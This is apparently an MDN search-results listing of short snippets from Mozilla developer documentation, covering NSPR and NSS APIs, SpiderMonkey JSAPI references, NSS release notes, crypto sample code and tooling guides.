this listing covers the larger-scale and more important mozilla projects on github.
... kuma the django project that powers
this site (mdn).
Reporting a Performance Problem
this article will guide you in reporting a performance problem using the built-in gecko profiler tool.
...try to do
this within a few seconds from reproducing the performance problem as only the last few seconds are recorded.
... there will be a button in the top right labeled 'publish' which will allow you to upload
this profile and once completed will write out a link.
...before you do
this, please share the performance profile with the addon authors through a bug report.
dtrace
this article provides a light introduction to it.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...it's unclear how to improve upon
this.
perf
this article discusses how it can be relevant to power profiling.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...the following example shows how to invoke it for
this purpose.
tools/power/rapl
note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...note that if you do change
this file, its contents may reset when the machine is next rebooted.
...otherwise, it will fail with an error message explaining
this requirement.
About NSPR
this mechanism provides the basic mutual exclusion (mutex) and thread notification facilities (condition variables) implemented by nspr.
...the goal in
this area is to provide a migration path between ipv4 and ipv6.
...
this allows a minimal timer period in of approximately 12 hours.
...in most cases
this is simply a smoothing over of the facilities offered by the various platform providers.
NSPR Contributor Guide
this means that the behavior of an existing public api item in nspr cannot change.
...
this means that you cannot give us something you snatched from somewhere else;.
... new features for purposes of
this paper, a "new feature" is defined as some api addition that goes into the core nspr library, for example: libnspr4.dll nspr is mostly complete.
...for purposes of
this paper, a "new library" is defined as a libary under the mozilla/nsprpub/lib directory tree and built as a separate library.
Date and Time
this chapter describes the date and time functions in nspr.
...in
this form, time is just a point on the time line.
...in
this form, the time zone information is important.
...two often-used callback functions of
this type are provided by nspr: prtimeparamfn pr_localtimeparameters and pr_gmtparameters functions the functions that create and manipulate time and date values are: pr_now pr_explodetime pr_implodetime pr_normalizetime ...
Dynamic Library Linking
this section describes nspr's programming interface to load, unload and resolve symbols in dynamic libraries.
...(
this is admittedly an omission that should be fixed.) however, it is possible to look up symbols defined in the main executable program as follows.
...
this section summarizes these platform idiosyncrasies.
... on most unix systems,
this environment variable is ld_library_path.
NSPR LOG FILE
this environment variable specifies the file to which log messages are directed.
... description use
this environment variable to specify a log file other than the default.
...nspr logging, when enabled, writes to the file named in
this environment variable.
...
this value causes logging output to be written using the windows function outputdebugstring(), which writes to the debugger window.
PRThreadPriority
this priority is appropriate for threads that are expected to perform intensive computation.
...
this priority is for threads performing work of high urgency but short duration.
...only one thread at a time typically has
this priority.
...
this preference is still subject to resource availability and must not be used in place of proper synchronization.
PR_Assert
file the file name of the compilation unit containing
this function call.
... ln the line number within the specified file of
this function call.
... returns nothing description
this function displays data in the log.
... normally an application would not call
this function directly; use pr_assert instead.
PR_FindSymbolAndLibrary
this location must be pre-allocated by the caller.
... description
this function finds the specified symbol in one of the currently loaded libraries.
...
this function is equivalent to calling first pr_loadlibrary, then pr_findsymbol.
... the identity returned from
this function must be the target of a pr_unloadlibrary in order to return the runtime to its original state.
PR_GMTParameters
note: since
this function requires gmt as input, its primary use is as "filler" for cases in which you need a do-nothing callback.
...
this time should be specified in gmt.
... description
this is a frequently-used time parameter callback function.
...
this is a trivial function; for any input, it returns a prtimeparameters structure with both fields set to zero.
PR_GetHostByAddr
all of the pointers in the hostentry structure point to data saved in
this buffer.
...
this buffer is referenced by the runtime during a call to pr_enumeratehostent.
... hostentry
this structure is allocated by the caller.
... on output,
this structure is filled in by the runtime if the function returns pr_success.
PR_GetHostByName
all of the pointers in the hostentry structure point to data saved in
this buffer.
...
this buffer is referenced by the runtime during a call to pr_enumeratehostent.
... hostentry
this structure is allocated by the caller.
... on output,
this structure is filled in by the runtime if the function returns pr_success.
PR ImportTCPSocket
on posix systems,
this is an int.
... on windows,
this is a socket.
... although pr_importtcpsocket is a supported function, it is declared in "private/pprio.h" to stress the fact that
this function depends on the internals of the nspr implementation.
...in practice,
this is unlikely to happen because nspr's implementation has been stable for years and because of nspr's strong commitment to backward compatibility.
PR_Initialize
this approach conforms to standard c programming practice.
...
this approach conforms to standard c programming practice.
... maxptds
this parameter is ignored.
...
this allows main to be treated like any other function, signaling its completion by returning and allowing the runtime to coordinate the completion of the other threads of the runtime.
PR_Poll
if
this parameter is zero, pr_poll is equivalent to pr_sleep with a timeout.
...if
this time expires without any i/o becoming ready, pr_poll returns zero.
... description
this function returns as soon as i/o is ready on one or more of the underlying socket objects.
...
this field can be set to null to indicate to pr_poll that
this prfiledesc object should be ignored.
PR_dtoa
*rve if not null
this location is set to the address of the end of the result.
... description
this function converts the specified floating point number to a string, using the method specified by mode.
...
this gives a return value similar to that of ecvt, except that trailing zeros are suppressed.
...
this gives a return value similar to that from fcvt, except that trailing zeros are suppressed, and ndigits can be negative.
Encrypt Decrypt MAC Keys As Session Objects
/*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); return secfailure; } } else { body = nonbody; } cleanup: pr_close(file); hextobuf(body, it...
... goto cleanup; } } cleanup: if (infile) { pr_close(infile); } if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (slot) { pk11_freeslot(slot); } if (enckey) { pk11_freesymkey(enckey); } if (mackey) { pk11_freesymkey(mackey); } return rv; } /* *
this example illustrates basic encryption/decryption and macing * generates the encryption/mac keys and uses token for storing.
Encrypt and decrypt MAC using token
/*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... pr_fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); return secfailure; } } else { body = nonbody; } cleanup: pr_close(file); hextobuf(body, it...
... goto cleanup; } } cleanup: if (infile) { pr_close(infile); } if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (slot) { pk11_freeslot(slot); } if (enckey) { pk11_freesymkey(enckey); } if (mackey) { pk11_freesymkey(mackey); } return rv; } /* *
this example illustrates basic encryption/decryption and macing * generates the encryption/mac keys and uses token for storing.
FIPS Mode - an explanation
(note: mozilla does not distribute a "fips mode"-ready nss with firefox.)
this page attempts to provide an informal explanation of what it is, who would use it, and why.
... as of
this writing, nss is now being retested to be recertified for the fifth time.
...
this makes it difficult to move keys from one device to another, and consequently, all crypto engines and key storage must be in a single device rather than being split up into several devices.
... how does
this affect firefox users?
NSS 3.14.3 release notes
nss 3.14.3 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_3_rtm/src/ new in nss 3.14.3 new functionality no new major functionality is introduced in
this release.
...
this release is a patch release to address cve-2013-1620.
...
this attack is mitigated when using nss 3.14.3 with an nss cryptographic module ("softoken") version 3.14.3 or later.
... however,
this attack is only partially mitigated if nss 3.14.3 is used with the current fips validated nss cryptographic module, version 3.12.9.1.
NSS 3.17.2 release notes
nss 3.17.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_2_rtm/src/ new in nss 3.17.2 new functionality no new functionality is introduced in
this release.
...
this is a patch release to fix a regression and other bugs.
...
this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (such as in pkcs #12 files) generated by other crypto libraries.
... bugs fixed in nss 3.17.2
this bugzilla query returns all the bugs fixed in nss 3.17.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.2 compatibility nss 3.17.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.18.1 release notes
nss 3.18.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_1_rtm/src/ new in nss 3.18.1 no new functionality is introduced in
this release.
...
this is a patch release to update the list of root ca certificates.
...but when firefox 38 went into beta, there was a huge spike in the number of certificate verification errors attributed to
this change.
... cn=mcsholding test, o=mcsholding, c=eg sha1 fingerprint: e1:f3:59:1e:76:98:65:c4:e4:47:ac:c3:7e:af:c9:e2:bf:e4:c5:76 the version number of the updated root ca list has been set to 2.4 bugs fixed in nss 3.18.1
this bugzilla query returns all the bugs fixed in nss 3.18.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.18.1 compatibility nss 3.18.1 shared libraries are backward compatible with all older nss 3.18 shared libraries.
NSS 3.23 release notes
this code is not ready for production use.
...clients that perform a version downgrade (which is a dangerous practice) call
this with the highest version number that they possibly support.
...
this gives them access to the version downgrade protection from tls 1.3.
... bugs fixed in nss 3.23
this bugzilla query returns all the bugs fixed in nss 3.23: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.23 acknowledgements the nss development team would like to thank security researcher francis gabriel for responsibly disclosing the issue in bug 1245528.
NSS 3.27.1 release notes
nss 3.27.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_1_rtm/src/ new in nss 3.27.1 new functionality no new functionality is introduced in
this release.
...
this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27.
...nss 3.27 set
this value on by default, allowing tls 1.3 (draft) to be disabled using nss_disable_tls_1_3, although the maximum version used by default remained tls 1.2.
...
this resulted in connectivity failures, as some tls servers are version 1.3 intolerant, and failed to negotiate an earlier tls version with nss 3.27 clients.
NSS 3.45 release notes
notable changes in nss 3.45 bug 1540403 - implement delegated credentials (draft-ietf-tls-subcerts)
this adds a new experimental function: ssl_delegatecredential note: in 3.45, selfserv does not yet support delegated credentials.
...e arm32 curve25519 implementation with one from fiat-crypto bug 1551129 - support static linking on windows bug 1552262 - expose a function pk11_findrawcertswithsubject for finding certificates with a given subject on a given slot bug 1546229 - add ipsec ike support to softoken bug 1554616 - add support for the elbrus lcc compiler (<=1.23) bug 1543874 - expose an external clock for ssl
this adds new experimental functions: ssl_settimefunc, ssl_createantireplaycontext, ssl_setantireplaycontext, and ssl_releaseantireplaycontext.
...
this will likely prompt follow-on work, but please accept our apologies in the meantime.
...d as fips compatible bug 1555207 - helloretryrequestcallback return code for rejecting 0-rtt bug 1556591 - eliminate races in uses of pk11_setwrapkey bug 1558681 - stop using a global for anti-replay of tls 1.3 early data bug 1561510 - fix a bug where removing -arch xxx args from cc didn't work bug 1561523 - add a string for the new-ish error ssl_error_missing_post_handshake_auth_extension
this bugzilla query returns all the bugs fixed in nss 3.45: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.45 compatibility nss 3.45 shared libraries are backward compatible with all older nss 3.x shared libraries.
Encrypt Decrypt_MAC_Using Token
/*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...*/ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file.
... goto cleanup; } } cleanup: if (infile) { pr_close(infile); } if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (slot) { pk11_freeslot(slot); } if (enckey) { pk11_freesymkey(enckey); } if (mackey) { pk11_freesymkey(mackey); } return rv; } /* *
this example illustrates basic encryption/decryption and macing.
NSS Sample Code Utilities_1
nss sample code common: utilities
this is a library of utilities used by many of the samples.
...
this code shows the following: extract seed from noise file read der encoding from a file extract the password from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
... * *
this function supports password extraction from files with * multiple passwords, one for each token.
...to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(asc, "-----begin")) != null) { char *trailer = null; asc = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(asc, '\r'); /* maybe
this is a mac file */ if (body) trailer = strstr(++body, "-----end"); if (trailer != null) { *trailer = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); rv = secfailure; goto cleanup; } } else { ...
Hashing - sample 1
the nss same code below computes the hash of a file and saves it to another file,
this illustrates the use of nss message apis.
... /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... */ printashex(outfile, digest, len); } while (0); /* cleanup */ if (hashcontext != null) hash_destroy(hashcontext); return secsuccess; } /* *
this sample computes the hash of a file and saves it * to another file.
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="summary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe
this is a mac file */ if (body) trail = strstr(++body, trailer); if (trail != null) { *trail = '\0'; } else { pr_fprintf(pr_stderr, "input has header but no trailer\n"); port_free(filedata.data); return secfailure; } } else { body = nonbody; } cleanup: pr_close(file); hextobuf(body, item, ishexdata); return secsuccess; } /* * encryptandmac */ secstatus encryptandmac(prfiledesc *infile, prfiledesc *hea...
..., mackey, ivitem.data, ivitem.len, ascii); if (rv != secsuccess) { pr_fprintf(pr_stderr, "failed : macing and encryption\n"); goto cleanup; } } cleanup: if (infile) { pr_close(infile); } if (headerfile) { pr_close(headerfile); } if (encfile) { pr_close(encfile); } if (slot) { pk11_freeslot(slot); } if (enckey) { pk11_freesymkey(enckey); } if (mackey) { pk11_freesymkey(mackey); } return rv; } /* *
this example illustrates basic encryption/decryption and macing * generates the encryption/mac keys and uses token for storing.
nss tech note7
rsa signing and encryption with nss nss technical note: 7
this technical note explains how to use nss to perform rsa signing and encryption.
...(
this api pretty much consists of what was needed to implement ssl and s/mime, plus a few enhancements over the years to support jss.) when using the pk11_ interfaces, the same principal applies: use the highest available function.
...pkcs #1 v1.5 block formatting question: in pkcs #1 v1.5 (section 8.1 encryption-block formatting) and v2.1 (section 7.2.1 encryption operation), pkcs1 v1.5 padding is described like
this: 00 || 02 || ps || 00 || m but in pkcs #1 v2.0 (section 9.1.2.1 encoding operation, step 3) and on the w3c web site (http://www.w3.org/tr/xmlenc-core/#rsa-1_5), pkcs1 v1.5 padding is described like
this: 02 || ps || 00 || m 00 at the beginning is missing.
... perhaps
this change made in pkcs #1 v2.0 confused many people, so it was reversed in v2.1.
NSS Tools sslstrength
this restricts the available ciphers to the same set used by communicator.
... in addition to
this, the ciphers command can be used to further restrict the ciphers available.
...you can obtain
this list of character->cipher mappings by doing 'sslstrength ciphers'.
...
this is only done in 'export mode', with servers with a special certificate.
NSS reference
if you are inclined to help with
this migration, your help would be very much appreciated.
...estroycertificate sec_deletepermcertificate __cert_closepermcertdb getting certificate information cert_findcertbyname cert_getcertnicknames cert_freenicknames cert_getdefaultcertdb nss_findcertkeatype comparing secitem objects secitem_compareitem key functions key functions seckey_getdefaultkeydb seckey_destroyprivatekey digital signatures
this api consists of the routines used to perform signature generation and the routines used to perform signature verification.
... random number generation
this api consists of the two routines used for pseudorandom number generation -- pk11_generaterandomonslot and pk11_generaterandom -- and the two routines used for seeding pseudorandom number generation -- pk11_seedrandom and pk11_randomupdate.
... these functions are listed in
this section.
sslkey.html
this page is part of the ssl reference that we are migrating into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference key functions chapter 6 key functions
this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
... syntax #include <key.h> #include <keyt.h> void seckey_destroyprivatekey(seckeyprivatekey *key); parameter
this function has the following parameter: key a pointer to the private key structure to destroy.
NSS Tools
this newsgroup is the preferred forum for all questions about nss and nss tools.
...
this tool is very useful for debugging.
...for additional information about
this tool, see object signing.
...for additional information about
this tool, see form signing ...
NSS Tools sslstrength
this restricts the available ciphers to the same set used by communicator.
... in addition to
this, the ciphers command can be used to further restrict the ciphers available.
...you can obtain
this list of character->cipher mappings by doing 'sslstrength ciphers'.
...
this is only done in 'export mode', with servers with a special certificate.
Renaming With Pork
this describes how to use pork to rewrite source code.
...
this isn't strictly required, but will save time.
...in order for
this to work mcpp has to be integrated into your compiler as described in the pork installation instructions 3.
...
this makes it easier to refer to any diagnostics touch /tmp/err.txt tail -f /tmp/err.txt & ~/work/pork-barrel/pork-barrel 4 /tmp/ls.txt ./renamer -rename-class string sm::string > /tmp/string.diff 2>/tmp/err.txt pork-barrel runs multiple copies of the renamer and merges their output.
Getting SpiderMonkey source code
this fetches a snapshot of the current mozilla tree.
...to do
this, cd into the base directory you'd like to check out the code into, then enter the following command at your command line: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot login when prompted, enter the password anonymous.
... once you've logged in, cd into the root of your cvs tree and enter the following command: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
this checks out all the files needed in order to build the javascript shell.
... if you also want the regression tests, add
this command: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/js/tests getting older branch versions of spidermonkey if you want to experiment with a specific branch's version of spidermonkey, you need to check out js/src from branch but check out editline and config from trunk: cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l -r branch_name mozilla/js/src mozilla/js/src/fdlibm cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src/config mozilla/js/src/editline change branch_name to the name of the branch you want to check out.
SpiderMonkey Internals: Thread Safety
this page describes implementation details of the spidermonkey javascript engine.
...
this means that objects cannot be shared across compartments.
...
this allows allocation to avoid locking most of the time (a significant speed win).
...when
this happens, the thread also refills that freelist from the jsruntime-wide gc allocator while it's in the lock.
JS::AutoIdArray
this article covers features introduced in spidermonkey 17 take ownership of a jsidarray and free it later.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... methods method description bool operator!() const return true if
this has no owned array.
... examples { js::autoidarray ids(cx, js_enumerate(cx, obj)); if (!ids) // check the returned value from js_enumerate return false; for (int32_t i = 0, len = ids.length(); i < len; i++) { somefunc(cx, ids[i]); } /* when leaving
this scope, the jsidarray returned by js_enumerate is freed.
JS::CloneFunctionObject
this article covers features introduced in spidermonkey 38 create a new function object from an existing jsfunction.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
... the new object's prototype is function.prototype; js_newobject : choosing a default prototype explains exactly how
this is computed.
JS::OrdinaryToPrimitive
this article covers features introduced in spidermonkey 38 convert an ordinary object to a primitive value.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... most users should not call
this -- use js::tonumber, js::toboolean, or js::tostring instead.
...
this should only be called from custom convert hooks.
JS::PersistentRooted
this article covers features introduced in spidermonkey 31 a copyable, assignable global gc root type with arbitrary lifetime, an infallible constructor, and automatic unrooting on destruction.
...
this is typically used for global variables.
...
this applies not only to js objects (which obviously are managed by the gc) but also to c++ objects owned by js objects.
... in the context of firefox,
this is a severe restriction: almost everything in firefox is owned by some js object or another, so using persistentrooted in such objects would introduce leaks.
JSExtendedClass.wrappedObject
obsolete since javascript 1.8.5
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8 callback for objects that wrap other objects.
... the specific cases where
this happens are: the default tostring method returns a string that contains the name of the wrapped object's class rather than the wrapper's class.
...when walking the chain to do
this check, wrappers are automatically unwrapped.
JSNewEnumerateOp
this callback overrides a portion of spidermonkey's default [[enumerate]] internal method.
...
this callback overrides a portion of spidermonkey's default [[enumerate]] internal method.
...all of
this is nonstandard.
... jsenumerate_destroy destroy the opaque iterator state previously allocated in *statep by a call to
this function when enum_op was jsenumerate_init or jsenumerate_init_all.
JSObjectPrincipalsFinder
obsolete since jsapi 17
this feature is obsolete.
... description the javascript engine calls
this callback to obtain principals for a jsprincipals.subsume check.
... the two debugger functions js_stackframeprincipals and js_evalframeprincipals also use
this callback.
...therefore null does not mean an error was reported; in no event should an error be reported or an exception be thrown by
this callback's implementation.
JS_BeginRequest
this "request model" is necessary to interlock with the global garbage collector.
...in
this reference, the cx parameter of such functions is documented with the phrase “requires request”, like
this: name type description cx jscontext * the context to use.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... in a debug build,
this is enforced with assertions.
JS_CheckAccess
obsolete since jsapi 29
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...(
this is redundant with passing the string id "__proto__" as id.) jsacc_parent check for permission to read obj's parent.
... (
this is redundant with passing the string id "__parent__" as id.) jsacc_import check for permission to import the property.
JS_CloneFunctionObject
obsolete since jsapi 36
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
... the new object's prototype is function.prototype; js_newobject: choosing a default prototype explains exactly how
this is computed.
JS_DumpHeap
obsolete since jsapi 38
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8 debug only.
...if
this is non-null, js_dumpheap only dumps paths in the object graph leading to the specified thing.
... although
this map is public, the details are completely hidden.
JS_GetGlobalForScopeChain
obsolete since jsapi 25
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 returns the global object for the active function on the context.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...if there is no javascript running on the context,
this returns the context's global, i.e., js_getglobalobject(cx).
JS_HasArrayLength
obsolete since jsapi 8
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function differs from js_getarraylength in the treatment of errors and unusual cases, like when an object's length is negative or not a number.
...
this function may return js_false without having reported any error or exception.
JS_HasOwnProperty
this article covers features introduced in spidermonkey 45 determine whether a javascript object has a specified own property.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...on success, js_hasownproperty stores true in
this variable if obj has an own property with the given name, and false if not.
... if the property exists,
this function sets *foundp to true and returns true.
JS_NewArrayObject
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must not be negative.
...(
this means that if length is nonzero and vector is null, the result is like the javascript expression new array(length).
...
this avoids unrooted jsvals in vector from being subject to garbage collection until the new object has been populated.
JS_NewDouble
obsolete since jsapi 17
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function is not very useful.
...modifying a jsdouble allocated with
this function can cause undefined behavior.
JS_NewDoubleValue
obsolete since jsapi 17
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must not be a value that could fit in an integer jsval (see int_fits_in_jsval).
...
this can be avoided by using the address of a rooted variable as rval.
JS_PushArguments
obsolete since javascript 1.8.5
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this function also takes in consideration any additional custom types defined in cx using js_addargumentformatter.
...the application must call js_poparguments using the supplied markp stack pointer when done with
this stack frame, to free the memory and unroot the jsvals.
JS_SaveExceptionState
in a js_threadsafe build, the caller must be in a request on
this jscontext.
... description saves the current exception state (that is, any pending exception, or a cleared exception state) associated with the specified context cx, and returns a jsexceptionstate object holding
this state.
...the jsexceptionstate created by
this function automatically roots any pending exception object which needs to be protected from the gc.
...
this function returns null if the engine was not built with support for exceptions.
JS_SetGlobalObject
obsolete since jsapi 25
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
... description
this function is obsolete; see also js_getglobalobject.
...
this means that global objects are automatically protected from garbage collection, as are any values reachable from their properties.
JS_ValueToFunction
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this conversion is dangerous and almost entirely useless, because the resulting jsfunction is not a real function object and therefore cannot be safely passed to any other jsapi function.
...unless the function happens to be a native function,
this means it isn't attached to any global or enclosing scope, and therefore must not be treated like a real function.
... if v is a function object,
this returns the associated jsfunction.
JSAPI reference
the reference applies
this versioning scheme retroactively starting with firefox 5.
...sapi 24 js_setglobalobject obsolete since jsapi 25 js_initclass js_initstandardclasses js_resolvestandardclass js_enumeratestandardclasses js_enumerateresolvedstandardclasses obsolete since jsapi 24 js_isrunning js_saveframechain js_restoreframechain js_isassigning obsolete since javascript 1.8.5 js_isconstructing obsolete since jsapi 26 js_isconstructing_possiblywithgiven
thisobject obsolete since jsapi 17 js_getscopechain obsolete since javascript 1.8.7 compartments: class jsautocompartment added in spidermonkey 24 js_newglobalobject added in spidermonkey 17 js_entercompartment added in spidermonkey 24 js_leavecompartment added in spidermonkey 24 js_getcompartmentprivate added in spidermonkey 1.8.5 js_setcompartmentprivate added in spidermonkey 1.8.5 js_g...
...
this has since been removed.) the tracing apis are used by the garbage collector and jstraceop hooks.
...applications can use
this to avoid copying data back and forth between spidermonkey's heap and application memory.
Security and the jar protocol
this article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
... prior to
this change, specifying the jar: protocol caused firefox to assume that the file being retrieved is a jar file, regardless of its mime type (in other words, its mime type was assumed to be application/zip, regardless of what it actually was).
...
this means that no matter what the file's real contents are, as far as firefox is concerned, it was a zip archive.
...
this ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like zip archives.
places.sqlite Database Troubleshooting
this article describes troubleshooting actions to deal with a broken places.sqlite database.
... in some cases,
this procedure may allow you to recover the corrupt file along with all of its contents (history).
... create a folder to use temporarily for
this work, such as my_work_folder.
... then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> pragma integrity_check; if the result is ok,
this guide won't help; stop here and please file a bug.
Components.utils.createObjectIn
this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor.
... note that
this function is now mostly obsolete when you are using sandbox, because you can create an object in a different compartment using new.
... syntax var newobject = components.utils.createobjectin(obj, options); parameters obj an object indicating the compartment in which the new object should be created; the new object will be created in the scope of
this object's compartment.
...{ enumerable: true, configurable: true, writable: true, value: value }; } var myobject = components.utils.createobjectin(mywindow); var proplist = { name: genpropdesc("name"), date: genpropdesc("date"), id: genpropdesc("id"), func: genpropdesc(function() { alert("called func!"); }) }; object.defineproperties(myobject, proplist); components.utils.makeobjectpropsnormal(myobject);
this sets up the new object in the scope of the object mywindow, then adds properties by calling object.defineproperties(), then normalizes them by calling components.utils.makeobjectpropsnormal().
Components.utils.getWeakReference
this method was introduced in firefox 3 and is used for obtaining a weak reference for an object.
... note: in gecko 11.0,
this method was changed to throw an exception if obj is null.
... example in
this example here, a weak reference to a window is held.
... var arr = []; arr.push(cu.getweakreference(window)); //now lets say
this code runs in another block: for (var i=0; i<arr.length; i++) { if (arr[i].get() == window) { //found the window break; } } ...
Components.utils.setGCZeal
this method lets scripts set the zeal level for garbage collection.
... you can get details on what
this method does in js_setgczeal.
...
this method calls through to that thusly: js_setgczeal(<current context>, zeal, js_default_zeal_freq, false); syntax components.utils.setgczeal(zeal); where zeal is the zeal value you wish to use.
...
this method has no effect unless running in a debug build.
Components.utils.waiveXrays
any expando properties are not visible, and if any native properties have been redefined,
this has no effect.
...
this means you don't have to care whether the initial object is an xray or not.
... returns if the argument obj is an xray,
this function returns a wrapper that transitively waives xray behavior on the underlying object and anything that comes off the object.
... if obj is not an xray,
this function just returns obj.
XPCshell Test Manifest Expressions
see also the official docs for
this set of variables.
... note that it currently seems like neither
this list nor the one on the official docs is exhaustive, so if you need something and it's not here, best check the source code!
... os - the operating system on which the test is being run one of: 'win', 'mac', 'linux', 'android' os_version - the version of the operating system on which the test is being run toolkit - the graphics toolkit used by
this build one of: 'windows', 'cocoa', 'gtk2', 'android' processor - the cpu which the code is compiled for one of: 'x86', 'x86_64', 'arm' bits - the pointer size of the cpu architecture, in bits one of 32, 64, possibly unknown debug - set to true if
this build is a debug build, false otherwise crashreporter - set to true if
this build has crash reporting code enabled, false otherwise.
...
this is useful as the entire line will generally be reported whenever tests are reported as being skipped, meaning the comment as well as the expression itself will appear in any logs where
this is reported.
NS_Realloc
this pointer must have been previously allocated by the xpcom memory manager, or
this parameter may be null in which case
this function behaves like ns_alloc.
... return values
this function returns a pointer to the allocated block of memory, which is suitably aligned for any kind of variable, or null if the allocation failed.
... remarks
this function provides a convenient way to access the xpcom memory manager.
... history
this function was finalized for mozilla 1.8.
NS_ShutdownXPCOM
remarks you must call
this method once you are finished using xpcom.
... calling
